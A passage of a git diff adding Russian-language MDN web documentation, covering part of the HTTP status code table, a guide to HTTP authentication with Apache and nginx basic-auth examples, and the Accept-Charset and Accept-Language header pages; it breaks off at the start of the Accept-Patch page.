+    <p>"Перемещён на постоянной основе". Этот код ответа значит, что <span id="result_box" lang="ru"><span>URI </span><span>запрашиваемого</span> <span>ресурса</span> <span>был изменен</span><span>.</span> <span>Возможно,</span> <span>новый</span> <span>URI </span></span><span lang="ru"><span>будет </span></span>предоставлен <span lang="ru"><span>в ответе.</span></span></p>
+   </td>
+   <td>HTTP/0.9 and later</td>
+  </tr>
+  <tr>
+   <td id="302">302</td>
+   <td>Found</td>
+   <td>
+    <p>"Найдено". Этот код ответа значит, что запрошенный ресурс <em>временно изменен</em>. <span id="result_box" lang="ru"><span>Новые</span> <span>изменения в</span> <span>URI</span> <span>могут быть</span></span> доступны в <span id="result_box" lang="ru"><span>будущем</span></span>. <span id="result_box" lang="ru"><span>Таким образом,</span> этот<span> </span><span>URI,</span> <span>должен</span> <span>быть использован</span> <span>клиентом</span> <span>в</span> <span>будущих запросах</span><span>.</span></span></p>
+   </td>
+   <td>HTTP/0.9 and later</td>
+  </tr>
+  <tr>
+   <td id="303">303</td>
+   <td>See Other</td>
+   <td>"Просмотр других ресурсов". Этот код ответа присылается, чтобы направлять клиента для получения запрашиваемого ресурса в другой URI с запросом GET.</td>
+   <td>HTTP/0.9 and 1.1</td>
+  </tr>
+  <tr>
+   <td id="304">304</td>
+   <td>Not Modified</td>
+   <td>"Не модифицировано". Используется для кэширования. Это код ответа значит, что запрошенный ресурс не был изменен. Таким образом, клиент может продолжать использовать кэшированную версию ответа.</td>
+   <td>HTTP/0.9 and later</td>
+  </tr>
+  <tr>
+   <td id="305">305</td>
+   <td>Use Proxy</td>
+   <td>"Использовать прокси". Это означает, что запрошенный ресурс должен быть доступен через прокси. Этот код ответа в основном не поддерживается из соображений безопасности.</td>
+   <td>HTTP/1.1 only</td>
+  </tr>
+  <tr>
+   <td id="306">306</td>
+   <td>Switch Proxy</td>
+   <td>Больше не использовать. Изначально подразумевалось, что " последующие запросы должны использовать указанный прокси."</td>
+   <td>HTTP/1.1 only</td>
+  </tr>
+  <tr>
+   <td id="307">307</td>
+   <td>Temporary Redirect</td>
+   <td>"Временное перенаправление". Сервер отправил этот ответ, чтобы клиент получил запрошенный ресурс на другой URL-адрес с тем же методом, который использовал предыдущий запрос. Данный код имеет ту же семантику, что код ответа <code>302 Found</code>, за исключением того, что агент пользователя не должен изменять используемый метод HTTP: если в первом запросе использовался <code>POST</code>, то во втором запросе также должен использоваться <code>POST</code>.</td>
+   <td>HTTP/1.1 only</td>
+  </tr>
+  <tr>
+   <td id="308">308</td>
+   <td>Permanent Redirect</td>
+   <td>
+    <p>"Перенаправление на постоянной основе". Это означает, что ресурс теперь постоянно находится в другом URI, указанном в заголовке <code>Location:</code> HTTP Response. Данный код ответа имеет ту же семантику, что и код ответа <code>301 Moved Permanently</code>, за исключением того, что агент пользователя не должен изменять используемый метод HTTP: если <code>POST</code> использовался в первом запросе, <code>POST</code> должен использоваться и во втором запросе.</p>
+
+    <div class="note"><strong>Примечание:</strong> Это экспериментальный код ответа, Спецификация которого в настоящее время находится в черновом виде.</div>
+   </td>
+   <td><a class="external" href="http://greenbytes.de/tech/webdav/draft-reschke-http-status-308-07.html" title="http://greenbytes.de/tech/webdav/draft-reschke-http-status-308-07.html">draft-reschke-http-status-308</a></td>
+  </tr>
+  <tr>
+   <th colspan="4"><em>Клиентские</em></th>
+  </tr>
+  <tr>
+   <td id="400">400</td>
+   <td>Bad Request</td>
+   <td>"Плохой запрос". Этот ответ означает, что сервер не понимает запрос из-за неверного синтаксиса. </td>
+   <td>HTTP/0.9 and later</td>
+  </tr>
+  <tr>
+   <td id="401">401</td>
+   <td>Unauthorized</td>
+   <td>"Неавторизовано". Для получения запрашиваемого ответа нужна аутентификация. Статус похож на статус 403, но,в этом случае, аутентификация возможна. </td>
+   <td>HTTP/0.9 and later</td>
+  </tr>
+  <tr>
+   <td id="402">402</td>
+   <td>Payment Required</td>
+   <td>"Необходима оплата". Этот код ответа зарезервирован для будущего использования. Первоначальная цель для создания этого когда была в использовании его для цифровых платежных систем(на данный момент не используется).</td>
+   <td>HTTP/0.9 and 1.1</td>
+  </tr>
+  <tr>
+   <td id="403">403</td>
+   <td>Forbidden</td>
+   <td>"Запрещено". У клиента нет прав доступа к содержимому, поэтому сервер отказывается дать надлежащий ответ. </td>
+   <td>HTTP/0.9 and later</td>
+  </tr>
+  <tr>
+   <td id="404">404</td>
+   <td>Not Found</td>
+   <td>"Не найден". Сервер не может найти запрашиваемый ресурс. Код этого ответа, наверно, самый известный из-за частоты его появления в вебе. </td>
+   <td>HTTP/0.9 and later</td>
+  </tr>
+  <tr>
+   <td id="405">405</td>
+   <td>Method Not Allowed</td>
+   <td>"Метод не разрешен". Сервер знает о запрашиваемом методе, но он был деактивирован и не может быть использован. Два обязательных метода,  <code>GET</code> и <code>HEAD</code>,  никогда не должны быть деактивированы и не должны возвращать этот код ошибки.</td>
+   <td>HTTP/1.1 only</td>
+  </tr>
+  <tr>
+   <td id="406">406</td>
+   <td>Not Acceptable</td>
+   <td>
+    <p>Этот ответ отсылается, когда веб сервер после выполнения <a href="/en/HTTP/Content_negotiation#Server-driven_negotiation" title="https://developer.mozilla.org/en/HTTP/Content_negotiation#Server-driven_negotiation">server-driven content negotiation</a>, не нашел контента, отвечающего критериям, полученным из user agent.</p>
+   </td>
+   <td>HTTP/1.1 only</td>
+  </tr>
+  <tr>
+   <td id="407">407</td>
+   <td>Proxy Authentication Required</td>
+   <td>Этот код ответа аналогичен коду 401, только аутентификация требуется для прокси сервера.</td>
+   <td>HTTP/1.1 only</td>
+  </tr>
+  <tr>
+   <td id="408">408</td>
+   <td>Request Timeout</td>
+   <td>Ответ с таким кодом может прийти, даже без предшествующего запроса. Он означает, что сервер хотел бы отключить это неиспользуемое соеднинение. Этот метод используется все чаще с тех пор, как некоторые браузеры, вроде Chrome и IE9, стали использовать <a class="external" href="http://www.belshe.com/2011/02/10/the-era-of-browser-preconnect/" title="http://www.belshe.com/2011/02/10/the-era-of-browser-preconnect/">HTTP механизмы предварительного соединения</a> для ускорения серфинга  (смотрите {{ bug(634278) }}, будущей реализации этого механизма в Firefox). Также учитывайте, что некоторые серверы прерывают соединения не отправляя подобных сообщений.</td>
+   <td>HTTP/1.1 only</td>
+  </tr>
+  <tr>
+   <td id="409">409</td>
+   <td>Conflict</td>
+   <td>
+    <p>Этот ответ отсылается, когда запрос конфликтует с текущим состоянием сервера.</p>
+   </td>
+   <td>HTTP/1.1 only</td>
+  </tr>
+  <tr>
+   <td id="410">410</td>
+   <td>Gone</td>
+   <td>
+    <p>Этот ответ отсылается, когда запрашиваемый контент удален с сервера.</p>
+   </td>
+   <td>HTTP/1.1 only</td>
+  </tr>
+  <tr>
+   <td id="411">411</td>
+   <td>Length Required</td>
+   <td>
+    <p>Запрос отклонен, потому что сервер требует указание заголовка <code>Content-Length</code>, но он не указан.</p>
+   </td>
+   <td>HTTP/1.1 only</td>
+  </tr>
+  <tr>
+   <td id="412">412</td>
+   <td>Precondition Failed</td>
+   <td>Клиент указал в своих заголовках условия, которые сервер не может выполнить</td>
+   <td>HTTP/1.1 only</td>
+  </tr>
+  <tr>
+   <td id="413">413</td>
+   <td>Request Entity Too Large</td>
+   <td>
+    <p>Размер запроса превышает лимит, объявленный сервером. Сервер может закрыть соединение, вернув заголовок <code>Retry-After</code></p>
+   </td>
+   <td>HTTP/1.1 only</td>
+  </tr>
+  <tr>
+   <td id="414">414</td>
+   <td>Request-URI Too Long</td>
+   <td>URI запрашиваемый клиентом слишком длинный для того, чтобы сервер смог его обработать</td>
+   <td>HTTP/1.1 only</td>
+  </tr>
+  <tr>
+   <td id="415">415</td>
+   <td>Unsupported Media Type</td>
+   <td>Медиа формат запрашиваемых данных не поддерживается сервером, поэтому запрос отклонен</td>
+   <td>HTTP/1.1 only</td>
+  </tr>
+  <tr>
+   <td id="416">416</td>
+   <td>Requested Range Not Satisfiable</td>
+   <td>Диапозон указанный заголовком запроса <code>Range</code> не может быть выполнен; возможно, он выходит за пределы переданного URI</td>
+   <td>HTTP/1.1 only</td>
+  </tr>
+  <tr>
+   <td id="417">417</td>
+   <td>Expectation Failed</td>
+   <td>Этот код ответа означает, что ожидание, полученное из заголовка запроса <code>Expect</code>, не может быть выполнено сервером.</td>
+   <td>HTTP/1.1 only</td>
+  </tr>
+  <tr>
+   <th colspan="4"><em>Серверные</em></th>
+  </tr>
+  <tr>
+   <td id="500">500</td>
+   <td>Internal Server Error</td>
+   <td>"Внутренняя ошибка сервера". Сервер столкнулся с ситуацией, которую он не знает как обработать. </td>
+   <td>HTTP/0.9 and later</td>
+  </tr>
+  <tr>
+   <td id="501">501</td>
+   <td>Not Implemented</td>
+   <td>"Не выполнено". Метод запроса не поддерживается сервером и не может быть обработан. Единственные методы, которые сервера должны поддерживать (и, соответственно, не должны возвращать этот код) -  <code>GET</code> и <code>HEAD</code>.</td>
+   <td>HTTP/0.9 and later</td>
+  </tr>
+  <tr>
+   <td id="502">502</td>
+   <td>Bad Gateway</td>
+   <td>"Плохой шлюз". Эта ошибка означает что сервер, во время работы в качестве шлюза для получения ответа, нужного для обработки запроса, получил недействительный (недопустимый) ответ. </td>
+   <td>HTTP/0.9 and later</td>
+  </tr>
+  <tr>
+   <td id="503">503</td>
+   <td>Service Unavailable</td>
+   <td>"Сервис недоступен". Сервер не готов обрабатывать запрос. Зачастую причинами являются отключение сервера или то, что он перегружен. Обратите внимание, что вместе с этим ответом удобная для пользователей(user-friendly) страница должна отправлять объяснение проблемы.  Этот ответ должен использоваться для временных условий и <code>Retry-After:</code> HTTP-заголовок должен, если возможно, содержать  предполагаемое время до восстановления сервиса. Веб-мастер также должен позаботиться о заголовках, связанных с кэшем, которые отправляются вместе с этим ответом, так как эти ответы, связанные с временными условиями, обычно не должны кэшироваться. </td>
+   <td>HTTP/0.9 and later</td>
+  </tr>
+  <tr>
+   <td id="504">504</td>
+   <td>Gateway Timeout</td>
+   <td>Этот ответ об ошибке предоставляется, когда сервер действует как шлюз и не может получить ответ вовремя.</td>
+   <td>HTTP/1.1 only</td>
+  </tr>
+  <tr>
+   <td id="505">505</td>
+   <td>HTTP Version Not Supported</td>
+   <td>"HTTP-версия не поддерживается". HTTP-версия, используемая в запроcе, не поддерживается сервером.</td>
+   <td>HTTP/1.1 only</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{ languages( { "zh-cn": "zh-cn/HTTP/HTTP_response_codes", "ja": "ja/HTTP/HTTP_response_codes"} ) }}</p>
diff --git a/files/ru/web/http/авторизация/index.html b/files/ru/web/http/авторизация/index.html
new file mode 100644
index 0000000000..99228e7633
--- /dev/null
+++ b/files/ru/web/http/авторизация/index.html
@@ -0,0 +1,123 @@
+---
+title: HTTP авторизация
+slug: Web/HTTP/Авторизация
+tags:
+  - Авторизация
+  - Разграничение доступа
+  - Руководство
+translation_of: Web/HTTP/Authentication
+---
+<div>{{HTTPSidebar}}</div>
+
+<p class="summary">HTTP предоставляет набор инструментов для разграничения доступа к ресурсам и авторизацией. Самой распространенной схемой HTTP авторизации является "Basic" (базовая) авторизация. Данное руководство описывает основные возможности HTTP авторизации и показывает способы ограничения доступа к вашему серверу с ее использованием.</p>
+
+<h2 id="Общий_механизм_HTTP_авторизации">Общий механизм HTTP авторизации</h2>
+
+<p>{{RFC("7235")}} определяет средства HTTP авторизации, которые может использовать сервер для {{glossary("запроса")}} у клиента аутентификационной информации. Сценарий запрос-ответ подразумевает, что вначале сервер отвечает клиенту со статусом {{HTTPStatus("401")}} (Unauthorized) и предоставляет информацию о порядке авторизации через заголовок {{HTTPHeader("WWW-Authenticate")}}, содержащий хотя бы один метод авторизации. Клиент, который хочет авторизоваться, может сделать это, включив в следующий запрос заголовок {{HTTPHeader("Authorization")}} с требуемыми данными. Обычно, клиент отображает запрос пароля пользователю, и после получения ответа отправляет запрос с пользовательскими данными в заголовке <code>Authorization</code>.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/14689/HTTPAuth.png" style="height: 335px; width: 710px;"></p>
+
+<p>В случае базовой авторизации как на иллюстрации выше, обмен <strong>должен</strong> вестись через HTTPS (TLS) соединение, чтобы обеспечить защищённость.</p>
+
+<h3 id="Прокси-авторизация">Прокси-авторизация</h3>
+
+<p>Этот же механизм запроса и ответа может быть использован для <em>прокси-авторизации</em>. В таком случае ответ посылает промежуточный прокси-сервер, который требует авторизации. Поскольку обе формы авторизации могут использоваться одновременно, для них используются разные заголовки и коды статуса ответа. В случае с <em>прокси</em>, статус-код запроса {{HTTPStatus("407")}} (Proxy Authentication Required) и заголовок {{HTTPHeader("Proxy-Authenticate")}}, который содержит хотя бы один запрос, относящийся к прокси-авторизации, а для передачи авторизационных данных прокси-серверу используется заголовок {{HTTPHeader("Proxy-Authorization")}}.</p>
+
+<h3 id="Доступ_запрещен">Доступ запрещен</h3>
+
+<p>Если (прокси) сервер получает корректные учетные данные, но они не подходят для доступа к данному ресурсу, сервер должен отправить ответ со статус кодом {{HTTPStatus("403")}} <code>Forbidden</code>. В отличии от статус кода {{HTTPStatus("401")}} <code>Unauthorized</code> или {{HTTPStatus("407")}} <code>Proxy Authentication Required</code>, аутентификация для этого пользователя не возможна.</p>
+
+<h3 id="Аутентификация_с_помощью_изображений">Аутентификация с помощью изображений</h3>
+
+<p>Аутентификация с помощью изображений, загружаемых из разных источников, была до недавнего времени потенциальной дырой в безопасности. Начиная с <a href="https://wiki.developer.mozilla.org/en-US/docs/Mozilla/Firefox/Releases/59">Firefox 59</a>, изображения, загружаемые из разных источников в текущий документ, больше не запускают диалог HTTP-аутентификации, предотвращая тем самым кражу пользовательских данных (если нарушители смогли встроить это изображение в страницу).</p>
+
+<h3 id="Кодировка_символов_HTTP_аутентификации">Кодировка символов HTTP аутентификации</h3>
+
+<p>Браузеры используют кодировку <code>utf-8</code> для имени пользователя и пароля. Firefox использовал <code>ISO-8859-1</code>, но она была заменена <code>utf-8</code> с целью уравнения с другими браузерами, а также чтобы избежать потенциальных проблем (таких как {{bug(1419658)}}).</p>
+
+<h3 id="WWW-Authenticate_and_Proxy-Authenticate_headers"><code>WWW-Authenticate</code> and <code>Proxy-Authenticate</code> headers</h3>
+
+<p>{{HTTPHeader("WWW-Authenticate")}} и {{HTTPHeader("Proxy-Authenticate")}} заголовки ответа которые определяют методы, что следует использовать для получения доступа к ресурсу. Они должны указывать, какую схему аутентификации использовать, чтобы клиент, желающий авторизоваться, знал, какие данные предоставить. Синтаксис для этих заголовков следующий:</p>
+
+<pre class="syntaxbox">WWW-Authenticate: &lt;type&gt; realm=&lt;realm&gt;
+Proxy-Authenticate: &lt;type&gt; realm=&lt;realm&gt;
+</pre>
+
+<p>Here, <code>&lt;type&gt;</code> is the authentication scheme ("Basic" is the most common scheme and <a href="/en-US/docs/Web/HTTP/Authentication#Basic_authentication_scheme">introduced below</a>). The <em>realm</em> is used to describe the protected area or to indicate the scope of protection. This could be a message like "Access to the staging site" or similar, so that the user knows to which space they are trying to get access to.</p>
+
+<h3 id="Authorization_and_Proxy-Authorization_headers"><code>Authorization</code> and <code>Proxy-Authorization</code> headers</h3>
+
+<p>The {{HTTPHeader("Authorization")}} and {{HTTPHeader("Proxy-Authorization")}} request headers contain the credentials to authenticate a user agent with a (proxy) server. Here, the type is needed again followed by the credentials, which can be encoded or encrypted depending on which authentication scheme is used.</p>
+
+<pre class="syntaxbox">Authorization: &lt;type&gt; &lt;credentials&gt;
+Proxy-Authorization: &lt;type&gt; &lt;credentials&gt;
+</pre>
+
+<h3 id="Authentication_schemes">Authentication schemes</h3>
+
+<p>The general HTTP authentication framework is used by several authentication schemes. Schemes can differ in security strength and in their availability in client or server software.</p>
+
+<p>The most common authentication scheme is the "Basic" authentication scheme which is introduced in more details below. IANA maintains a <a class="external external-icon" href="http://www.iana.org/assignments/http-authschemes/http-authschemes.xhtml">list of authentication schemes</a>, but there are other schemes offered by host services, such as Amazon AWS. Common authentication schemes include:</p>
+
+<ul>
+ <li><strong>Basic</strong> (see {{rfc(7617)}}, base64-encoded credentials. See below for more information.),</li>
+ <li><strong>Bearer</strong> (see {{rfc(6750)}}, bearer tokens to access OAuth 2.0-protected resources),</li>
+ <li><strong>Digest</strong> (see {{rfc(7616)}}, only md5 hashing is supported in Firefox, see {{bug(472823)}} for SHA encryption support),</li>
+ <li><strong>HOBA</strong> (see {{rfc(7486)}} (draft), <strong>H</strong>TTP <strong>O</strong>rigin-<strong>B</strong>ound <strong>A</strong>uthentication, digital-signature-based),</li>
+ <li><strong>Mutual</strong> (see <a href="https://tools.ietf.org/html/draft-ietf-httpauth-mutual-11">draft-ietf-httpauth-mutual</a>),</li>
+ <li>
+  <p><strong>AWS4-HMAC-SHA256</strong> (see <a href="http://docs.aws.amazon.com/AmazonS3/latest/API/sigv4-auth-using-authorization-header.html">AWS docs</a>).</p>
+ </li>
+</ul>
+
+<h2 id="Basic_authentication_scheme">Basic authentication scheme</h2>
+
+<p>The "Basic" HTTP authentication scheme is defined in {{rfc(7617)}}, which transmits credentials as user ID/password pairs, encoded using base64.</p>
+
+<h3 id="Security_of_basic_authentication">Security of basic authentication</h3>
+
+<p>As the user ID and password are passed over the network as clear text (it is base64 encoded, but base64 is a reversible encoding), the basic authentication scheme is not secure. HTTPS / TLS should be used in conjunction with basic authentication. Without these additional security enhancements, basic authentication should not be used to protect sensitive or valuable information.</p>
+
+<h3 id="Restricting_access_with_Apache_and_basic_authentication">Restricting access with Apache and basic authentication</h3>
+
+<p>To password-protect a directory on an Apache server, you will need a <code>.htaccess</code> and a <code>.htpasswd</code> file.</p>
+
+<p>The <code>.htaccess</code> file typically looks like this:</p>
+
+<pre>AuthType Basic
+AuthName "Access to the staging site"
+AuthUserFile /path/to/.htpasswd
+Require valid-user</pre>
+
+<p>The <code>.htaccess</code> file references a <code>.htpasswd</code> file in which each line contains of a username and a password separated by a colon (":"). You can not see the actual passwords as they are <a href="https://httpd.apache.org/docs/2.4/misc/password_encryptions.html">encrypted</a> (md5 in this case). Note that you can name your <code>.htpasswd</code> file differently if you like, but keep in mind this file shouldn't be accessible to anyone. (Apache is usually configured to prevent access to <code>.ht*</code> files).</p>
+
+<pre>aladdin:$apr1$ZjTqBB3f$IF9gdYAGlMrs2fuINjHsz.
+user2:$apr1$O04r.y2H$/vEkesPhVInBByJUkXitA/
+</pre>
+
+<h3 id="Restricting_access_with_nginx_and_basic_authentication">Restricting access with nginx and basic authentication</h3>
+
+<p>For nginx, you will need to specify a location that you are going to protect and the <code>auth_basic</code> directive that provides the name to the password-protected area. The <code>auth_basic_user_file</code> directive then points to a .htpasswd file containing the encrypted user credentials, just like in the Apache example above.</p>
+
+<pre>location /status {
+    auth_basic           "Access to the staging site";
+    auth_basic_user_file /etc/apache2/.htpasswd;
+}</pre>
+
+<h3 id="Access_using_credentials_in_the_URL">Access using credentials in the URL</h3>
+
+<p>Many clients also let you avoid the login prompt by using an encoded URL containing the username and the password like this:</p>
+
+<pre class="example-bad">https://username:password@www.example.com/</pre>
+
+<p><strong>The use of these URLs is deprecated</strong>. In Chrome, the <code>username:password@</code> part in URLs is even<a href="https://bugs.chromium.org/p/chromium/issues/detail?id=82250#c7"> stripped out</a> for security reasons. In Firefox, it is checked if the site actually requires authentication and if not, Firefox will warn the user with a prompt "You are about to log in to the site “www.example.com” with the username “username”, but the website does not require authentication. This may be an attempt to trick you.".</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{HTTPHeader("WWW-Authenticate")}}</li>
+ <li>{{HTTPHeader("Authorization")}}</li>
+ <li>{{HTTPHeader("Proxy-Authorization")}}</li>
+ <li>{{HTTPHeader("Proxy-Authenticate")}}</li>
+ <li>{{HTTPStatus("401")}}, {{HTTPStatus("403")}}, {{HTTPStatus("407")}}</li>
+</ul>
diff --git a/files/ru/web/http/заголовки/accept-charset/index.html b/files/ru/web/http/заголовки/accept-charset/index.html
new file mode 100644
index 0000000000..97fb4f65e4
--- /dev/null
+++ b/files/ru/web/http/заголовки/accept-charset/index.html
@@ -0,0 +1,83 @@
+---
+title: Accept-Charset
+slug: Web/HTTP/Заголовки/Accept-Charset
+translation_of: Web/HTTP/Headers/Accept-Charset
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Заголовок <strong><code>Accept-Charset</code></strong> запроса HTTP сообщает какую кодировку клиент может понять. Используя <a href="/en-US/docs/Web/HTTP/Content_negotiation">согласование контента</a>, сервер выбирает один из предложенных вариантов, использует его и информирует клиент о своем выборе в {{HTTPHeader("Content-Type")}} ответном заголовке. Браузер обычно не устанавливает этот заголовок, т.к. значение по умолчанию для каждого контентного типа обычно коректный  и передача его позволит с большей легкостью получить цифровой отпечаток.</p>
+
+<p>Если сервер не может обслужить никакую из предоставленных кодировок, теоретически он может вернуть {{HTTPStatus("406")}} (Not Acceptable) код ошибки. Но, для более лучшего пользовательского опыта, это редко делается и более частый способ в этом случае, это просто игнорирование заголовка <code>Accept-Charset</code>.</p>
+
+<div class="note">
+<p>В более ранних версиях HTTP/1.1, кодировка  по умолчанию (<code>ISO-8859-1</code>) была определена. Теперь это не так и каждый контентый тип может иметь свое собственное дефолтное значение.</p>
+</div>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Тип заголовка</th>
+   <td>{{Glossary("Request header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>Да</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">Accept-Charset: &lt;кодировка&gt;
+
+// Множественные типы, придающие вес с {{glossary("quality values", "quality value")}} синтаксисом:
+Accept-Charset: utf-8, iso-8859-1;q=0.5</pre>
+
+<h2 id="Директивы">Директивы</h2>
+
+<dl>
+ <dt><code>&lt;charset&gt;</code></dt>
+ <dd>Кодировка типа <code>utf-8</code> или <code>iso-8859-15.</code></dd>
+ <dt><code>*</code></dt>
+ <dd>Любая кодировка не указанная нигде в заголовке; <code>'*'</code> используется как групповой символ.</dd>
+ <dt><code>;q=</code> (q-factor weighting)</dt>
+ <dd>Любое значение помещается в порядке предпочтения, выраженного с использованием относительного значения качества, называемого <em>весом</em>.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre>Accept-Charset: iso-8859-1
+
+Accept-Charset: utf-8, iso-8859-1;q=0.5
+
+Accept-Charset: utf-8, iso-8859-1;q=0.5, *;q=0.1
+</pre>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Title</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "Accept-Charset", "5.3.3")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Context</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.Accept-Charset")}}</p>
+
+<p>Смотрите так же</p>
+
+<ul>
+ <li>HTTP <a href="/en-US/docs/Web/HTTP/Content_negotiation">content negotiation</a></li>
+ <li>Header with the result of the content negotiation: {{HTTPHeader("Content-Type")}}</li>
+ <li>Other similar headers: {{HTTPHeader("TE")}}, {{HTTPHeader("Accept-Encoding")}}, {{HTTPHeader("Accept-Language")}}, {{HTTPHeader("Accept")}}</li>
+</ul>
diff --git a/files/ru/web/http/заголовки/accept-language/index.html b/files/ru/web/http/заголовки/accept-language/index.html
new file mode 100644
index 0000000000..2e1cf9ae57
--- /dev/null
+++ b/files/ru/web/http/заголовки/accept-language/index.html
@@ -0,0 +1,94 @@
+---
+title: Accept-Language
+slug: Web/HTTP/Заголовки/Accept-Language
+translation_of: Web/HTTP/Headers/Accept-Language
+---
+<div>{{HTTPSidebar}}</div>
+
+<div>{{Glossary("HTTP-заголовок")}} Запрос <strong><code>Accept-Language</code></strong> сообщает серверу, какие языки клиент понимает и какая локаль предпочтительнее (имеются в виду естественные языки, такие как английский, а не языки программирования). Используя механизм обсуждения содержимого  (<a href="/en-US/docs/Web/HTTP/Content_negotiation">content negotiation</a>), сервер выбирает один из предложенных вариантов, использует его и информирует клиента о своем выборе при помощи заголовка ответа {{HTTPHeader("Content-Language")}}. Браузеры устанавливают соответствующие значения для данного заголовка, исходя из языка пользовательсокого интерфейса, и, даже если у пользователя есть возможность изменить значение заголовка <strong><code>Accept-Language</code></strong>, это происходит редко (и не одобряется, так как ведет.к идентификации).</div>
+
+<div></div>
+
+<p>Данный заголовок является подсказкой для сервера, когда он не имеет другого способа определить язык, (например, явно указанный язык в URL'е, который пользователь явно выбрал). Рекомендуется никогда не переопределять на стороне сервера явный выбор пользователем языка. Содержимое заголовка <code>Accept-Language</code> часто не может быть переопределено пользователем (например, в путешествии, когда пользователь пользуется услугами интернет-кафе); также пользователь может захотеть посмотреть содержимое сайта на языке отличном от языка интерфейса.</p>
+
+<p>Если сервер не может предоставить содержимое ни на одном языке из предложенных в заголовке <code>Accept-Language</code>, теоретически он может вернуть HTTP-статус {{HTTPStatus("406")}} (Not Acceptable). Однако, для большего удобства пользователя, это делается редко, а чаще принято в таких случаях игнорировать заголовок  <code>Accept-Language</code>.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Header type</th>
+   <td>{{Glossary("Request header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>нет</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Simple header", "CORS-safelisted request-header")}}</th>
+   <td>да</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate">Accept-Language: &lt;language&gt;
+Accept-Language: &lt;locale&gt;
+Accept-Language: *
+
+// Multiple types, weighted with the {{glossary("quality values", "quality value")}} syntax:
+Accept-Language: fr-CH, fr;q=0.9, en;q=0.8, de;q=0.7, *;q=0.5</pre>
+
+<h2 id="Директивы">Директивы</h2>
+
+<dl>
+ <dt><code>&lt;language&gt;</code></dt>
+ <dd>Тег языка (иногда называют идентификатором локали, "locale identifier"). Состоит из 2-3 буквенного основного языкового тега, представляющего язык, и опционально за ним могут следовать  дополнительные под-теги, разделенные <code>'-'</code>. Наиболее распространенной дополнительной информацией являются указания на страну или регион (например, <code>'en-US'</code> или <code>'fr-CA'</code>) или тип алфавита, который следует использовать (например, <code>'sr-Latn'</code>). Другие варианты, такие как тип орфографии (<code>'de-DE-1996'</code>) обычно не используются в контексте данного заголовка.</dd>
+ <dt><code>*</code></dt>
+ <dd>Любой язык; <code>'*'</code> обозначает любое значение.</dd>
+ <dt><code>;q=</code> (q-factor weighting)</dt>
+ <dd>Любое из значений, размещенных в порядке предпочтения, выраженном позицией {{glossary("Quality values", "quality value")}}, которое называют <em>весами</em>.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="notranslate">Accept-Language: *
+
+Accept-Language: de
+
+Accept-Language: de-CH
+
+Accept-Language: en-US,en;q=0.5
+
+Accept-Language: fr-CH, fr;q=0.9, en;q=0.8, de;q=0.7, *;q=0.5
+
+Accept-Language: ru-RU, ru;q=0.9, en-US;q=0.8, en;q=0.7, fr;q=0.6</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Название</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "Accept-Language", "5.3.5")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Context</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузером">Совместимость с браузером</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.Accept-Language")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>HTTP <a href="/en-US/docs/Web/HTTP/Content_negotiation">content negotiation</a></li>
+ <li>Header with the result of the content negotiation: {{HTTPHeader("Content-Language")}}</li>
+ <li>Other similar headers: {{HTTPHeader("TE")}}, {{HTTPHeader("Accept-Encoding")}}, {{HTTPHeader("Accept-Charset")}}, {{HTTPHeader("Accept")}}</li>
+</ul>
diff --git a/files/ru/web/http/заголовки/accept-patch/index.html b/files/ru/web/http/заголовки/accept-patch/index.html
new file mode 100644
index 0000000000..2dfa99d0ac
--- /dev/null
+++ b/files/ru/web/http/заголовки/accept-patch/index.html
@@ -0,0 +1,83 @@
+---
+title: Accept-Patch
+slug: Web/HTTP/Заголовки/Accept-Patch
+translation_of: Web/HTTP/Headers/Accept-Patch
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>HTTP-заголовок запроса <strong><code>Accept-Patch</code></strong> показывает, какой медиа-тип понимает сервер внутри запроса <code>PATCH</code>.</p>
+
+<p>Наличие <strong><code>Accept-Patch</code></strong> в ответе к любому методу означает, что сервер принимает <code>PATCH</code>-запросы. Как правило, из этого вытекает следующее:</p>
+
+<p>Сервер, принимающий <code>PATCH</code>-запрос с неподдерживаемым медиа-типом может ответить кодом ошибки {{HTTPStatus("415")}} <code>Unsupported Media Type</code> и заголовком <strong><code>Accept-Patch</code></strong>, в котором перечислены поддерживаемые медиа-типы.</p>
+
+<div class="note"><strong>Примечания:</strong>
+
+<ul>
+ <li>
